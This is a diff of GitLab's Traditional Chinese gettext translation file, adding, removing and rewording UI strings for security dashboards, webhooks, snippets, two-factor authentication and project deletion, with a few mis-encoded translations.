msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -19949,6 +20533,9 @@ msgstr "移除全部或特定指派人"
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20018,9 +20605,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr "刪除項目"
-
msgid "Remove secondary node"
msgstr ""
@@ -20054,9 +20638,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20069,12 +20650,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20123,15 +20698,9 @@ msgstr "刪除截止日期"
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20682,6 +21254,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20820,6 +21398,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20850,6 +21431,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -20898,6 +21482,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -20940,6 +21527,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr "æœç´¢åˆ†æ”¯å’Œæ¨™ç±¤"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,7 +21828,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "é¸æ“‡ä¾†æºåˆ†æ”¯"
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21769,6 +22389,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21781,6 +22407,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22095,19 +22727,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22203,6 +22835,9 @@ msgstr ""
msgid "Similar issues"
msgstr "相似議題"
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22245,7 +22880,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22359,6 +23003,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22488,10 +23135,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23388,6 +24035,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23436,6 +24086,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23448,6 +24101,9 @@ msgstr ""
msgid "Tags"
msgstr "標籤"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23694,9 +24356,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,14 +24392,11 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23797,6 +24456,9 @@ msgstr "與該階段相關的事件。"
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23851,6 +24513,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -23951,13 +24619,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -23996,6 +24664,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr "該項目å…許任何人訪å•ã€‚"
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,19 +25036,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24392,6 +25072,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr "這個議題是隱密的"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25288,9 +25968,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25312,9 +25998,6 @@ msgstr ""
msgid "Today"
msgstr "今天"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25519,6 +26205,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25588,9 +26277,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25606,10 +26304,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25792,7 +26502,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "未驗證"
@@ -25963,9 +26676,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,7 +26691,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26056,7 +26766,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26200,9 +26907,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26760,6 +27482,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,7 +27689,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27012,6 +27734,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27033,21 +27839,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,10 +28182,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27385,6 +28194,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
